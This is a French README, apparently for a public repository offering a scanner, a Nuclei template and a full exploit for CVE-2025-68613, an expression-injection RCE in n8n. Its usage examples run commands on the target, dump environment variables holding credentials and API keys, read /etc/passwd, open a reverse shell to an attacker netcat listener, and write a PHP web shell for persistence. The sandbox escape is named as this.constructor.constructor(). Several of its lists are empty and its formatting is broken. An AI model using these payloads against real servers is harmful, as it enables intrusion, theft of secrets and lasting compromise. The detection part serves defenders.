
PoC public + Scanner et recherche pour CVE-2025-68613 : RCE critique dans l'automatisation de workflows n8n via injection d'expressions (CVSS 10.0). Inclut des outils de détection, l'exploit complet et des conseils de remédiation.

CVE-2025-68613 est une vulnérabilité critique d'exécution de code à distance (RCE) découverte dans n8n, une plateforme open-source populaire d'automatisation de flux de travail. Cette vulnérabilité permet à des utilisateurs authentifiés d'exécuter du code arbitraire sur le serveur, ce qui peut mener à un compromis complet du système.
n8n est une plateforme open-source d'automatisation de flux de travail qui permet aux utilisateurs de :
Les organisations utilisent n8n pour :
Ce rôle central dans l'infrastructure informatique rend les vulnérabilités particulièrement dangereuses, car elles peuvent donner aux attaquants un accès à des réseaux entiers et à des données sensibles.
Ce dépôt comprend des outils prêts à l'emploi pour la détection de vulnérabilités et les tests d'exploitation :
cve-2025-68613-scanner.pyObjectif : Détection sûre et sans exploitation des instances n8n vulnérables
Fonctionnalités :
Utilisation :```bash python3 cve-2025-68613-scanner.py -u http://target:5678
**Sortie**:
- Code de sortie 0: Non vulnérable
- Code de sortie 1: Version indéterminée (peut être corrigée ou masquée)
- Code de sortie 2: Version vulnérable détectée
### 2. Modèle Nuclei: `CVE-2025-68613.yaml`
**Objectif**: Détection automatisée de vulnérabilités et test de base de l'évaluation d'expressions
**Fonctionnalités**:
- Nécessite un jeton d'authentification valide
- Teste la capacité d'injection d'expressions
- Tente de lire le contexte global de Node.js (process.platform)
- Crée des workflows de test pour valider le vecteur RCE
- Classification de gravité critique CVSS 10.0
**Utilisation**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
exploit_cve-2025-68613.pyObjectif : Exploit de preuve de concept complet avec plusieurs payloads d'attaque
Fonctionnalités :
Prérequis :
Installation :```bash pip install requests chmod +x exploit_cve-2025-68613.py
**Exemples d'utilisation**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload info
# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload env
# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload write \
--file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
Comment ça fonctionne :
this.constructor.constructor()process.platform ou d'autres API Node.jsCodes de sortie :
En termes simples : n8n permet aux utilisateurs d'écrire des expressions dans les workflows pour traiter les données de manière dynamique. Cependant, ces expressions sont évaluées sans véritable bac à sable, ce qui permet aux attaquants de sortir du contexte d'exécution prévu et d'exécuter du code arbitraire sur le serveur.